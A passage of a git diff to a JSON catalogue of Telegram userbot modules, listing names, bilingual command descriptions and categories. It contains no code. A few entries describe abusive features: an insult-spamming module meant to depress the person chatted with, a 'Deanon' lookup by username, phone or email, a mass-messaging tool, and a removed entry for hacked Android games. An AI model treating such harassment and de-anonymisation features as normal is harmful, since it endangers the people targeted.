всегда смешные)" - }, - { - "joke": "Sends an anecdote x2 (not always funny)" - } - ], - "new_commands": [ - { - "anec": { - "ru_doc": "Генерирует анекдоты (они не всегда смешные)", - "en_doc": null, - "doc": "Sends an anecdote (not always funny)" - } - }, - { - "joke": { - "ru_doc": null, - "en_doc": null, - "doc": "Sends an anecdote x2 (not always funny)" - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "kamolgks/Hikkamods/RandomChats.py": { - "name": "RandomChatsMod", - "description": "The module throws off a random chat", - "meta": { - "pic": "https://raw.githubusercontent.com/kamolgks/assets/main/RandomChats.jpg", - "banner": "https://raw.githubusercontent.com/kamolgks/assets/main/RandomChats.jpg", - "developer": "@shitmodules" - }, - "commands": [ - { - "rchatcmd": "> Throws a random link to the chat > Кидает рандомную ссылку на чат" - } - ], - "new_commands": [ - { - "rchat": { - "ru_doc": "> Кидает рандомную ссылку на чат", - "en_doc": null, - "doc": "> Throws a random link to the chat" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "kamolgks/Hikkamods/SpellChecking.py": { - "name": "SpellCheckingMod", - "description": "Check text for spelling errors by @shitmodules", - "meta": { - "pic": "https://raw.githubusercontent.com/kamolgks/assets/main/SpellChecking.png", - "banner": "https://raw.githubusercontent.com/kamolgks/assets/main/SpellChecking.jpg", - "developer": "@shitmodules" - }, - "commands": [ - { - "orfgcmd": "> Suggestion for checking spelling errors > Проверяет текст на орфографические ошибки." - } - ], - "new_commands": [ - { - "orfg": { - "ru_doc": "> Проверяет текст на орфографические ошибки.", - "en_doc": null, - "doc": "> Suggestion for checking spelling errors" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "kamolgks/Hikkamods/MultiSaver.py": { - "name": "MultiSaverMod", - "description": "Download video, photo from instagram, TikTok and Pinterest", - "meta": { - "pic": "https://te.legra.ph/file/9fbbf3676de7a1e844e56.jpg", - "banner": "https://raw.githubusercontent.com/kamolgks/assets/main/MultiSaver.jpg", - "developer": "@shitmodules" - }, - "commands": [ - { - "imt": "> photo/video link > Ссылка на фото/видео" - } - ], - "new_commands": [ - { - "imt": { - "ru_doc": "> Ссылка на фото/видео", - "en_doc": null, - "doc": "> photo/video link" - } - } - ], - "category": [ - "Media", - "Tools" - ] - }, - "kamolgks/Hikkamods/BotsDeleter.py": { - "name": "BotsDeleterMod", - "description": "Instant stop or removal of all running Telegram bots", - "meta": { - "pic": "https://github.com/kamolgks/assets/raw/main/BotsDeleter.png", - "banner": null, - "developer": "@shitmodules" - }, - "commands": [ - { - "stopallbotscmd": "> To stop all bots from working > Чтобы остановить работу всех ботов" - }, - { - "delallbotscmd": "> To delete dialogs with all bots > Чтобы удалить диалоги со всеми ботами" - } - ], - "new_commands": [ - { - "stopallbots": { - "ru_doc": "> Чтобы остановить работу всех ботов", - "en_doc": null, - "doc": "> To stop all bots from working" - } - }, - { - "delallbots": { - "ru_doc": "> Чтобы удалить диалоги со всеми ботами", - "en_doc": null, - "doc": "> To delete dialogs with all bots" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "kamolgks/Hikkamods/Facts.py": { - "name": "Facts", - "description": "interesting facts by @shitmodules", - "meta": { - "pic": "https://raw.githubusercontent.com/kamolgks/assets/main/Facts.jpeg", - "banner": "https://raw.githubusercontent.com/kamolgks/assets/main/Facts.jpg", - "developer": "@shitmodules" - }, - "commands": [ - { - "ifacts": "> I'll look for some interesting information for you) > Поищу для тебя какую нибудь интересную информацию)" - } - ], - "new_commands": [ - { - "ifacts": { - "ru_doc": "> Поищу для тебя какую нибудь интересную информацию)", - "en_doc": null, - "doc": "> I'll look for some interesting information for you)" + "doc": ".recv <reply to voice/audio> - распознать речь" } } ], @@ -8859,35 +21501,82 @@ "Games" ] }, - "kamolgks/Hikkamods/FarmPA.py": { - "name": "FarmPAMod", - "description": "Module for automatic farming sm in Pipisa bot | PA -> PipisaBot by shitmodules.t.me", + "KorenbZla/HikkaModules/Wikipedia.py": { + "name": "WikipediaMod", + "description": "Search for information on Wikipedia", "meta": { - "pic": "https://raw.githubusercontent.com/kamolgks/assets/main/FarmPA.jpg", - "banner": "https://raw.githubusercontent.com/kamolgks/assets/main/FarmPA.jpeg", - "developer": "@shitmodules" + "pic": "https://i.postimg.cc/Hx3Zm8rB/logo.png", + "banner": "https://te.legra.ph/file/ee1bb476a643bb85b5723.jpg", + "developer": "@AuroraModules" }, "commands": [ { - "dfarm": "Turns on/off automatic farming mode for the Pipisa bot. Включить/отключить режим автоматического фарма для бота Pipisa." + "wikiru": "[prompt] - Search for material in Wikipedia in Russian. [prompt] - Поиск материала в Википедии на русском языке." }, { - "chatidcmd": "The .chatid command shows the chat ID. Команда .chatid показывает идентификатор чата." + "wikien": "[prompt] - Search for material in Wikipedia in English. [prompt] - Поиск материала в Википедии на английском языке." } ], "new_commands": [ { - "dfarm": { - "ru_doc": "Включить/отключить режим автоматического фарма для бота Pipisa.", + "wikiru": { + "ru_doc": "[prompt] - Поиск материала в Википедии на русском языке.", "en_doc": null, - "doc": "Turns on/off automatic farming mode for the Pipisa bot." + "doc": "[prompt] - Search for material in Wikipedia in Russian." } }, { - "chatid": { - "ru_doc": "Команда .chatid показывает идентификатор чата.", + "wikien": { + "ru_doc": "[prompt] - Поиск материала в Википедии на английском языке.", "en_doc": null, - "doc": "The .chatid command shows the chat ID." + "doc": "[prompt] - Search for material in Wikipedia in English." + } + } + ], + "category": [ + "Tools", + "Games" + ] + }, + "KorenbZla/HikkaModules/AuroraBull.py": { + "name": "AuroraBullMod", + "description": "Module for insults, make the interlocutor depressed.", + "meta": { + "pic": "https://i.postimg.cc/Hx3Zm8rB/logo.png", + "banner": "https://te.legra.ph/file/7612b5506856c1eb34c56.jpg", + "developer": "@AuroraModules" + }, + "commands": [ + { + "abull": "Insult your interlocutor Оскорбите вашего собеседника." + }, + { + "abullspam": "[time] [text] - Spam your interlocutor with insults [time] [text] - Заспамте оскорблениями вашего собеседника" + }, + { + "abulloff": "Stop the insults Остановить оскорбления" + } + ], + "new_commands": [ + { + "abull": { + "ru_doc": "Оскорбите вашего собеседника.", + "en_doc": null, + "doc": "Insult your interlocutor" + } + }, + { + "abullspam": { + "ru_doc": "[time] [text] - Заспамте оскорблениями вашего собеседника", + "en_doc": null, + "doc": "[time] [text] - Spam your interlocutor with insults" + } + }, + { + "abulloff": { + "ru_doc": "Остановить оскорбления", + "en_doc": null, + "doc": "Stop the insults" } } ], @@ -8896,52 +21585,425 @@ "Chat" ] }, - "kamolgks/Hikkamods/Imgbb.py": { - "name": "Imgbb", - "description": "Upload media to imgbb.com", + "KorenbZla/HikkaModules/AuroraFeedBack.py": { + "name": "AuroraFeedBackMod", + "description": "Multifunctional feedback bot.", "meta": { - "pic": "https://raw.githubusercontent.com/kamolgks/assets/main/Imgbb.jpg", - "banner": "https://raw.githubusercontent.com/kamolgks/assets/main/Imgbb.jpeg", - "developer": "@shitmodules" + "pic": "https://i.postimg.cc/Hx3Zm8rB/logo.png", + "banner": "https://te.legra.ph/file/05a519da50f993b950260.jpg", + "developer": "@AuroraModules & @nercymods" }, "commands": [ { - "imgbb": ".imgbb - upload file to imgbb.com .imgbb <файл> - загрузить файл на imgbb.com" + "flink": "- Get a link to the feedback bot - Получить ссылку на feedback бота" + }, + { + "banfeedback": "[UserID] - Block the feedback bot user [UserID] - Заблокировать пользователю feedback бота" + }, + { + "unbanfeedback": "[UserID] - Unblock the feedback bot user [UserID] - Разблокировать пользователю feedback бота" } ], "new_commands": [ { - "imgbb": { - "ru_doc": ".imgbb <файл> - загрузить файл на imgbb.com", + "flink": { + "ru_doc": "- Получить ссылку на feedback бота", "en_doc": null, - "doc": ".imgbb - upload file to imgbb.com" + "doc": "- Get a link to the feedback bot" + } + }, + { + "banfeedback": { + "ru_doc": "[UserID] - Заблокировать пользователю feedback бота", + "en_doc": null, + "doc": "[UserID] - Block the feedback bot user" + } + }, + { + "unbanfeedback": { + "ru_doc": "[UserID] - Разблокировать пользователю feedback бота", + "en_doc": null, + "doc": "[UserID] - Unblock the feedback bot user" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KorenbZla/HikkaModules/AuroraSpam.py": { + "name": "AuroraSpamMod", + "description": "Module for mailings message", + "meta": { + "pic": "https://i.postimg.cc/Hx3Zm8rB/logo.png", + "banner": "https://te.legra.ph/file/e5b219dd459e4cf8b0b11.jpg", + "developer": "@AuroraModules" + }, + "commands": [ + { + "aspam": "Start sending messages. Начать рассылку сообщений." + } + ], + "new_commands": [ + { + "aspam": { + "ru_doc": "Начать рассылку сообщений.", + "en_doc": null, + "doc": "Start sending messages." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KorenbZla/HikkaModules/RandomNumber.py": { + "name": "RandomNumberMod", + "description": "Random numbers generator", + "meta": { + "pic": "https://i.postimg.cc/Hx3Zm8rB/logo.png", + "banner": "https://te.legra.ph/file/f35de08579b3bd2235bc4.jpg", + "developer": "@AuroraModules" + }, + "commands": [ + { + "RandomNumber": "Random number Случайное число" + } + ], + "new_commands": [ + { + "RandomNumber": { + "ru_doc": "Случайное число", + "en_doc": null, + "doc": "Random number" + } + } + ], + "category": [ + "Tools", + "Media" + ] + }, + "KorenbZla/HikkaModules/Randomizer.py": { + "name": "RandomizerMod", + "description": "Module for playing with dice, heads/tails and other games.", + "meta": { + "pic": "https://i.postimg.cc/Hx3Zm8rB/logo.png", + "banner": "https://te.legra.ph/file/201288f407537011ce0ed.jpg", + "developer": "@AuroraModules" + }, + "commands": [ + { + "cube": "[0-6] - Roll a dice with a number [0-6] - Бросить кубик с числом" + }, + { + "monetka": "[орёл/решка] - Flips a coin and gives a random result [орёл/решка] - Подбрасывает монетку, и выдает случайный результат" + }, + { + "rnum": "[number] - Random number [number] - Случайное число" + } + ], + "new_commands": [ + { + "cube": { + "ru_doc": "[0-6] - Бросить кубик с числом", + "en_doc": null, + "doc": "[0-6] - Roll a dice with a number" + } + }, + { + "monetka": { + "ru_doc": "[орёл/решка] - Подбрасывает монетку, и выдает случайный результат", + "en_doc": null, + "doc": "[орёл/решка] - Flips a coin and gives a random result" + } + }, + { + "rnum": { + "ru_doc": "[number] - Случайное число", + "en_doc": null, + "doc": "[number] - Random number" + } + } + ], + "category": [ + "Tools", + "Media" + ] + }, + "KorenbZla/HikkaModules/Meow.py": { + "name": "MeowMod", + "description": "Start meowing in different languages", + "meta": { + "pic": "https://i.postimg.cc/Hx3Zm8rB/logo.png", + "banner": "https://te.legra.ph/file/21c1c48baffc8c6236c0f.jpg", + "developer": "@AuroraModules" + }, + "commands": [ + { + "meow": "Start meowing in different languages Начать мяукать на разных языках" + }, + { + "stopmeow": "Stop meowing in different languages Остановить мяуканье на разных языках" + } + ], + "new_commands": [ + { + "meow": { + "ru_doc": "Начать мяукать на разных языках", + "en_doc": null, + "doc": "Start meowing in different languages" + } + }, + { + "stopmeow": { + "ru_doc": "Остановить мяуканье на разных языках", + "en_doc": null, + "doc": "Stop meowing in different languages" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KorenbZla/HikkaModules/MyDebtors.py": { + "name": "MyDebtorsMod", + "description": "Module for managing, adding, and deleting your debtors.", + "meta": { + "pic": "https://i.postimg.cc/Hx3Zm8rB/logo.png", + "banner": "https://te.legra.ph/file/7d7a4c3ff3711e0e1ee88.jpg", + "developer": "@AuroraModules" + }, + "commands": [ + { + "dadd": "<name> <amount> - add a debtor <name> <amount> - Добавить должника" + }, + { + "dinfo": "<name> - Find out information about the debtor <name> - Узнать информацию о должнике" + }, + { + "ddel": "<name> - Remove the debtor <name> - Удалить должника" + }, + { + "dlist": "List of all your debtors Список всех ваших должников" + }, + { + "ddelall": "Remove all your debtors Удалить всех ваших должников" + }, + { + "dset": "<name> <amount> - Change the debt <name> <amount> - Изменить долг" + } + ], + "new_commands": [ + { + "dadd": { + "ru_doc": "<name> <amount> - Добавить должника", + "en_doc": null, + "doc": "<name> <amount> - add a debtor" + } + }, + { + "dinfo": { + "ru_doc": "<name> - Узнать информацию о должнике", + "en_doc": null, + "doc": "<name> - Find out information about the debtor" + } + }, + { + "ddel": { + "ru_doc": "<name> - Удалить должника", + "en_doc": null, + "doc": "<name> - Remove the debtor" + } + }, + { + "dlist": { + "ru_doc": "Список всех ваших должников", + "en_doc": null, + "doc": "List of all your debtors" + } + }, + { + "ddelall": { + "ru_doc": "Удалить всех ваших должников", + "en_doc": null, + "doc": "Remove all your debtors" + } + }, + { + "dset": { + "ru_doc": "<name> <amount> - Изменить долг", + "en_doc": null, + "doc": "<name> <amount> - Change the debt" } } ], "category": [ "Chat", - "Security" + "Tools" ] }, - "kamolgks/Hikkamods/GamesForAndroid.py": { - "name": "GamesForAndroid", - "description": "Hacked android games (All in categories, choose what you like and download.)", + "KorenbZla/HikkaModules/AutoFarmUniversal.py": { + "name": "AutoFarmUniversalMod", + "description": "Universal auto farmer with settings in the config", "meta": { - "pic": "https://raw.githubusercontent.com/kamolgks/assets/main/GamesForAndroid.jpeg", - "banner": "https://raw.githubusercontent.com/kamolgks/assets/main/GamesForAndroid.jpg", - "developer": "@shitmodules" + "pic": "https://i.postimg.cc/Hx3Zm8rB/logo.png", + "banner": "https://te.legra.ph/file/77e64e3d33263a669125f.jpg", + "developer": "@AuroraModules" }, "commands": [ { - "gameslist": "> .gameslist opens access to game categories (you can download games right here) .gameslist > открывает доступ к игровым категориям (можно скачивать игры прямо тут)" + "ufarm": "{on/off} - turn auto farm on or off {on/off} - включить или выключить автоматическую фарминг" } ], "new_commands": [ { - "gameslist": { - "ru_doc": ".gameslist > открывает доступ к игровым категориям (можно скачивать игры прямо тут)", + "ufarm": { + "ru_doc": "{on/off} - включить или выключить автоматическую фарминг", "en_doc": null, - "doc": "> .gameslist opens access to game categories (you can download games right here)" + "doc": "{on/off} - turn auto farm on or off" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "KorenbZla/HikkaModules/IrisFarm.py": { + "name": "IrisFarmMod", + "description": "Auto farm in iris bot", + "meta": { + "pic": "https://i.postimg.cc/Hx3Zm8rB/logo.png", + "banner": "https://te.legra.ph/file/1d547b05f967c9681b90a.jpg", + "developer": "@AuroraModules" + }, + "commands": [ + { + "irfarm": "{on/off} - turn auto farm on or off" + }, + { + "bag": "Look into the bag Заглянуть в мешок." + } + ], + "new_commands": [ + { + "irfarm": { + "ru_doc": null, + "en_doc": null, + "doc": "{on/off} - turn auto farm on or off" + } + }, + { + "bag": { + "ru_doc": "Заглянуть в мешок.", + "en_doc": null, + "doc": "Look into the bag" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "KorenbZla/HikkaModules/Deanon.py": { + "name": "Deanon", + "description": null, + "meta": { + "pic": "https://i.postimg.cc/Hx3Zm8rB/logo.png", + "banner": "https://te.legra.ph/file/9bf5a040f3fcab0caf689.jpg", + "developer": "@AuroraModules" + }, + "commands": [ + { + "deanon": "Search by @UserName/Number/Email Поиск по @UserName/Number/Email" + } + ], + "new_commands": [ + { + "deanon": { + "ru_doc": "Поиск по @UserName/Number/Email", + "en_doc": null, + "doc": "Search by @UserName/Number/Email" + } + } + ], + "category": [ + "Tools", + "Games" + ] + }, + "KorenbZla/HikkaModules/AuroraFarm.py": { + "name": "AuroraFarmMod", + "description": "Automatic progress farm at @kynimeister_bot", + "meta": { + "pic": "https://i.postimg.cc/Hx3Zm8rB/logo.png", + "banner": "https://te.legra.ph/file/903b12da5af31a1947ca8.jpg", + "developer": "@AuroraModules" + }, + "commands": [ + { + "afarm": "{on/off} - turn auto farm on or off {on/off} - включить или выключить автоматическую фарминг" + } + ], + "new_commands": [ + { + "afarm": { + "ru_doc": "{on/off} - включить или выключить автоматическую фарминг", + "en_doc": null, + "doc": "{on/off} - turn auto farm on or off" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "KorenbZla/HikkaModules/HerokuAuroraFeedBack.py": { + "name": "AuroraFeedBackMod", + "description": "Multifunctional feedback bot.", + "meta": { + "pic": "https://i.postimg.cc/Hx3Zm8rB/logo.png", + "banner": "https://te.legra.ph/file/05a519da50f993b950260.jpg", + "developer": "@AuroraModules & @nercymods" + }, + "commands": [ + { + "flink": "- Get a link to the feedback bot - Получить ссылку на feedback бота" + }, + { + "banfeedback": "[UserID] - Block the feedback bot user [UserID] - Заблокировать пользователю feedback бота" + }, + { + "unbanfeedback": "[UserID] - Unblock the feedback bot user [UserID] - Разблокировать пользователю feedback бота" + } + ], + "new_commands": [ + { + "flink": { + "ru_doc": "- Получить ссылку на feedback бота", + "en_doc": null, + "doc": "- Get a link to the feedback bot" + } + }, + { + "banfeedback": { + "ru_doc": "[UserID] - Заблокировать пользователю feedback бота", + "en_doc": null, + "doc": "[UserID] - Block the feedback bot user" + } + }, + { + "unbanfeedback": { + "ru_doc": "[UserID] - Разблокировать пользователю feedback бота", + "en_doc": null, + "doc": "[UserID] - Unblock the feedback bot user" } } ], @@ -8950,25 +22012,525 @@ "Chat" ] }, - "kamolgks/Hikkamods/Hw_age_ur.py": { - "name": "Hw_age_ur", - "description": "Using this module, you can find out the age of a person on the date of his birth.", + "KorenbZla/HikkaModules/WordFinder.py": { + "name": "WordFinderMod", + "description": "Universal module for searching for certain words in the text.", "meta": { - "pic": "https://raw.githubusercontent.com/kamolgks/assets/main/Hw_age_ur.png", - "banner": "https://raw.githubusercontent.com/kamolgks/assets/main/Hw_age_ur.jpg", - "developer": "@shitmodules" + "pic": "https://i.postimg.cc/Hx3Zm8rB/logo.png", + "banner": "https://te.legra.ph/file/c34c0a11aabd6a1fb6210.jpg", + "developer": "@AuroraModules" }, "commands": [ { - "yo": "> .yo 01.05.1996 | => date, month, year > .yo 01.05.1996 | => (число, месяц, год)" + "wfind": "<on/off> - set the module operation status <on/off> - установить статус работы модуля" } ], "new_commands": [ { - "yo": { - "ru_doc": "> .yo 01.05.1996 | => (число, месяц, год)", + "wfind": { + "ru_doc": "<on/off> - установить статус работы модуля", "en_doc": null, - "doc": "> .yo 01.05.1996 | => date, month, year" + "doc": "<on/off> - set the module operation status" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KorenbZla/HikkaModules/Send.py": { + "name": "SendMod", + "description": "Assistant for sending messages", + "meta": { + "pic": "https://i.postimg.cc/Hx3Zm8rB/logo.png", + "banner": "https://te.legra.ph/file/55fa6eebae860a359ac27.jpg", + "developer": "@AuroraModules" + }, + "commands": [ + { + "send": "[text] - Write a message [text] - Написать сообщение" + }, + { + "sendclosedtopic": "[text] - Write a message to a closed topic [text] - Написать сообщение в закрытую тему" + }, + { + "sendpm": "[@UserName] [text or replay] - Write a message to personal messages [@UserName] [text or replay] - Написать сообщение в личные сообщения" + }, + { + "ibsend": "[text] - Send a message via the inline form [text] - Отправить сообщение через инлайн-форму" + } + ], + "new_commands": [ + { + "send": { + "ru_doc": "[text] - Написать сообщение", + "en_doc": null, + "doc": "[text] - Write a message" + } + }, + { + "sendclosedtopic": { + "ru_doc": "[text] - Написать сообщение в закрытую тему", + "en_doc": null, + "doc": "[text] - Write a message to a closed topic" + } + }, + { + "sendpm": { + "ru_doc": "[@UserName] [text or replay] - Написать сообщение в личные сообщения", + "en_doc": null, + "doc": "[@UserName] [text or replay] - Write a message to personal messages" + } + }, + { + "ibsend": { + "ru_doc": "[text] - Отправить сообщение через инлайн-форму", + "en_doc": null, + "doc": "[text] - Send a message via the inline form" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KorenbZla/HikkaModules/AutoDeleteMessages.py": { + "name": "AutoDeleteMessagesMod", + "description": "Automatically deletes all your messages in the specified chats.", + "meta": { + "pic": "https://i.postimg.cc/Hx3Zm8rB/logo.png", + "banner": "https://te.legra.ph/file/b3e9c4bef7348c0fda21e.jpg", + "developer": "@AuroraModules" + }, + "commands": [ + { + "autodel": "<on/off> - set the module operation status <on/off> - установить статус работы модуля." + } + ], + "new_commands": [ + { + "autodel": { + "ru_doc": "<on/off> - установить статус работы модуля.", + "en_doc": null, + "doc": "<on/off> - set the module operation status" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KorenbZla/HikkaModules/Reports.py": { + "name": "ReportsMod", + "description": "Module for sending reports to the administration.", + "meta": { + "pic": "https://i.postimg.cc/Hx3Zm8rB/logo.png", + "banner": "https://te.legra.ph/file/5131a980bd2f80ad463ad.jpg", + "developer": "@AuroraModules" + }, + "commands": [ + { + "addadmins": "Add administrators from the config to the group Добавить администраторов из конфигурации в группу." + }, + { + "chaton": "Enable chat for reports Включает чат для репортов." + }, + { + "chatoff": "Disable chat for reports Отключает чат для репортов." + }, + { + "report": "Sends a report to the administration. Отправляет репорт администрации." + } + ], + "new_commands": [ + { + "addadmins": { + "ru_doc": "Добавить администраторов из конфигурации в группу.", + "en_doc": null, + "doc": "Add administrators from the config to the group" + } + }, + { + "chaton": { + "ru_doc": "Включает чат для репортов.", + "en_doc": null, + "doc": "Enable chat for reports" + } + }, + { + "chatoff": { + "ru_doc": "Отключает чат для репортов.", + "en_doc": null, + "doc": "Disable chat for reports" + } + }, + { + "report": { + "ru_doc": "Отправляет репорт администрации.", + "en_doc": null, + "doc": "Sends a report to the administration." + } + } + ], + "category": [ + "Chat", + "Automation" + ] + }, + "KorenbZla/HikkaModules/AuroraAFK.py": { + "name": "AuroraAFKMod", + "description": "Your personal assistant to while you are in AFK mode", + "meta": { + "pic": "https://i.postimg.cc/Hx3Zm8rB/logo.png", + "banner": "https://te.legra.ph/file/f35de08579b3bd2235bc4.jpg", + "developer": "@AuroraModules" + }, + "commands": [ + { + "afk": "[reason] - Set AFK mode status [reason] - Установить режим AFK" + }, + { + "unafk": "Exit AFK mode Выйти из режима AFK" + }, + { + "setstatus": "Set the AFK status Установить статус AFK" + }, + { + "removestatus": "Удалить статус AFK. Удалить статус AFK" + } + ], + "new_commands": [ + { + "afk": { + "ru_doc": "[reason] - Установить режим AFK", + "en_doc": null, + "doc": "[reason] - Set AFK mode status" + } + }, + { + "unafk": { + "ru_doc": "Выйти из режима AFK", + "en_doc": null, + "doc": "Exit AFK mode" + } + }, + { + "setstatus": { + "ru_doc": "Установить статус AFK", + "en_doc": null, + "doc": "Set the AFK status" + } + }, + { + "removestatus": { + "ru_doc": "Удалить статус AFK", + "en_doc": null, + "doc": "Удалить статус AFK." + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "KorenbZla/HikkaModules/Melody.py": { + "name": "MelodyMod", + "description": "Module for playing various songs in a chat", + "meta": { + "pic": "https://i.postimg.cc/Hx3Zm8rB/logo.png", + "banner": "https://te.legra.ph/file/787faf75b8a094553336f.jpg", + "developer": "@AuroraModules" + }, + "commands": [ + { + "заденьгида": "Play song «За деньги да» Включить песню «За деньги да»" + }, + { + "LIPSIHA": "Play song «LIPSI HA» Включить песню «LIPSI HA»" + }, + { + "stopplay": "Stop playing music Остановить проигрывание музыки" + } + ], + "new_commands": [ + { + "заденьгида": { + "ru_doc": "Включить песню «За деньги да»", + "en_doc": null, + "doc": "Play song «За деньги да»" + } + }, + { + "LIPSIHA": { + "ru_doc": "Включить песню «LIPSI HA»", + "en_doc": null, + "doc": "Play song «LIPSI HA»" + } + }, + { + "stopplay": { + "ru_doc": "Остановить проигрывание музыки", + "en_doc": null, + "doc": "Stop playing music" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KorenbZla/HikkaModules/BanWord.py": { + "name": "BanWordMod", + "description": "Модуль для управления запрещёнными словами в чате.", + "meta": { + "pic": "https://i.postimg.cc/Hx3Zm8rB/logo.png", + "banner": "https://te.legra.ph/file/926b74bc3235fb03433ea.jpg", + "developer": "@AuroraModules" + }, + "commands": [ + { + "bwadd": "Adds a banned word. Добавляет запрещённое слово." + }, + { + "bwdel": "Removes a banned word. Удаляет запрещённое слово." + }, + { + "bwon": "Enables banwords in chat. Включает банворды в чате." + }, + { + "bwoff": "Disable banword in chat. Отключает банворды в чате." + }, + { + "bword": "Sets the action when a prohibited word is found (kick, mute, delete). Устанавливает действие при нахождении запрещённого слова (kick, mute, delete)." + }, + { + "bwlist": "Displays a list of prohibited words. Выводит список запрещённых слов." + } + ], + "new_commands": [ + { + "bwadd": { + "ru_doc": "Добавляет запрещённое слово.", + "en_doc": null, + "doc": "Adds a banned word." + } + }, + { + "bwdel": { + "ru_doc": "Удаляет запрещённое слово.", + "en_doc": null, + "doc": "Removes a banned word." + } + }, + { + "bwon": { + "ru_doc": "Включает банворды в чате.", + "en_doc": null, + "doc": "Enables banwords in chat." + } + }, + { + "bwoff": { + "ru_doc": "Отключает банворды в чате.", + "en_doc": null, + "doc": "Disable banword in chat." + } + }, + { + "bword": { + "ru_doc": "Устанавливает действие при нахождении запрещённого слова (kick, mute, delete).", + "en_doc": null, + "doc": "Sets the action when a prohibited word is found (kick, mute, delete)." + } + }, + { + "bwlist": { + "ru_doc": "Выводит список запрещённых слов.", + "en_doc": null, + "doc": "Displays a list of prohibited words." + } + } + ], + "category": [ + "Chat", + "Customization" + ] + }, + "KorenbZla/HikkaModules/HistoryFacts.py": { + "name": "HistoryFactMod", + "description": "Get a random historical fact", + "meta": { + "pic": "https://i.postimg.cc/Hx3Zm8rB/logo.png", + "banner": "https://te.legra.ph/file/388d6138470f2036d08ed.jpg", + "developer": "@AuroraModules" + }, + "commands": [ + { + "rfact": "Output a random historical fact Вывод случайного исторического факта" + }, + { + "hfact": "To deduce a random fact about Adolf Hitler Вывод случайного факта об Адольфе Гитлере" + }, + { + "mfact": "To deduce a random fact about Benito Mussolini Вывести случайный факт о Бенито Муссолини" + }, + { + "sfact": "To deduce a random fact about Joseph Stalin Вывести случайный факт о Иосифе Сталине" + } + ], + "new_commands": [ + { + "rfact": { + "ru_doc": "Вывод случайного исторического факта", + "en_doc": null, + "doc": "Output a random historical fact" + } + }, + { + "hfact": { + "ru_doc": "Вывод случайного факта об Адольфе Гитлере", + "en_doc": null, + "doc": "To deduce a random fact about Adolf Hitler" + } + }, + { + "mfact": { + "ru_doc": "Вывести случайный факт о Бенито Муссолини", + "en_doc": null, + "doc": "To deduce a random fact about Benito Mussolini" + } + }, + { + "sfact": { + "ru_doc": "Вывести случайный факт о Иосифе Сталине", + "en_doc": null, + "doc": "To deduce a random fact about Joseph Stalin" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KorenbZla/HikkaModules/AuroraDonate.py": { + "name": "AuroraDonateMod", + "description": "Module for creating a message with your details for donations", + "meta": { + "pic": "https://i.postimg.cc/Hx3Zm8rB/logo.png", + "banner": "https://te.legra.ph/file/d3f0f14e90ce2f82d8f1f.jpg", + "developer": "@AuroraModules" + }, + "commands": [ + { + "dme": "{-h} - Open details for donations {-h} - Открыть реквизиты для донатов" + } + ], + "new_commands": [ + { + "dme": { + "ru_doc": "{-h} - Открыть реквизиты для донатов", + "en_doc": null, + "doc": "{-h} - Open details for donations" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KorenbZla/HikkaModules/Warpigs.py": { + "name": "WarpigsMod", + "description": "Automates work with @warpigs_bot", + "meta": { + "pic": "https://i.postimg.cc/Hx3Zm8rB/logo.png", + "banner": "https://te.legra.ph/file/a37fb86b3a00c03dee661.jpg", + "developer": "@AuroraModules" + }, + "commands": [ + { + "autogrow": "Automatic pig growth Автоматический рост свиньи." + }, + { + "ungrow": "Disable automatic growth. Отключить автоматический рост." + }, + { + "autofight": "Enable automatic pig fights Включить автоматические бои свиней." + }, + { + "unfight": "Disable automatic pig fights Отключить автоматические бои свиней." + }, + { + "nameset": "[name] - Set the name of your pig [name] - Установить имя вашей свиньи." + } + ], + "new_commands": [ + { + "autogrow": { + "ru_doc": "Автоматический рост свиньи.", + "en_doc": null, + "doc": "Automatic pig growth" + } + }, + { + "ungrow": { + "ru_doc": "Отключить автоматический рост.", + "en_doc": null, + "doc": "Disable automatic growth." + } + }, + { + "autofight": { + "ru_doc": "Включить автоматические бои свиней.", + "en_doc": null, + "doc": "Enable automatic pig fights" + } + }, + { + "unfight": { + "ru_doc": "Отключить автоматические бои свиней.", + "en_doc": null, + "doc": "Disable automatic pig fights" + } + }, + { + "nameset": { + "ru_doc": "[name] - Установить имя вашей свиньи.", + "en_doc": null, + "doc": "[name] - Set the name of your pig" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KorenbZla/HikkaModules/RandomAvatars.py": { + "name": "RandomAvatars", + "description": null, + "meta": { + "pic": "https://i.postimg.cc/Hx3Zm8rB/logo.png", + "banner": "https://te.legra.ph/file/64b1e88536b3ba59c94da.jpg", + "developer": "@AuroraModules" + }, + "commands": [ + { + "rpavatars": "random paired avatars Поиск случайных парных аватарок" + } + ], + "new_commands": [ + { + "rpavatars": { + "ru_doc": "Поиск случайных парных аватарок", + "en_doc": null, + "doc": "random paired avatars" } } ], @@ -8977,52 +22539,45 @@ "Fun" ] }, - "kamolgks/Hikkamods/AnonymUploader.py": { - "name": "AnonymUploader", - "description": "Anonymous files upload via anonfiles.com", + "1jpshiro/hikka-modules/Autotime.py": { + "name": "Autotime", + "description": "Automatic stuff for your profile", "meta": { - "pic": "https://raw.githubusercontent.com/kamolgks/assets/main/AnonUploader.jpg", - "banner": "https://raw.githubusercontent.com/kamolgks/assets/main/AnonymUploader.jpg", - "developer": "@shitmodules" + "pic": null, + "banner": "https://0x0.st/s/FIR0RnhUN5pZV5CZ6sNFEw/8KBz.jpg", + "developer": "@shiro_hikka" }, "commands": [ { - "auplcmd": "> <reply to file> - Anonymous file Uploader" + "cfgsetcmd": "<number> - specify a timezone\nRegarding to UTC+0" + }, + { + "autonamecmd": "<text> - autotime in nickname | {time} must be placed in the text\nWrite without argument to disable" + }, + { + "autobiocmd": "<text> - autotime in bio | {time} must be placed in the text\nWrite without argument to disable" } ], 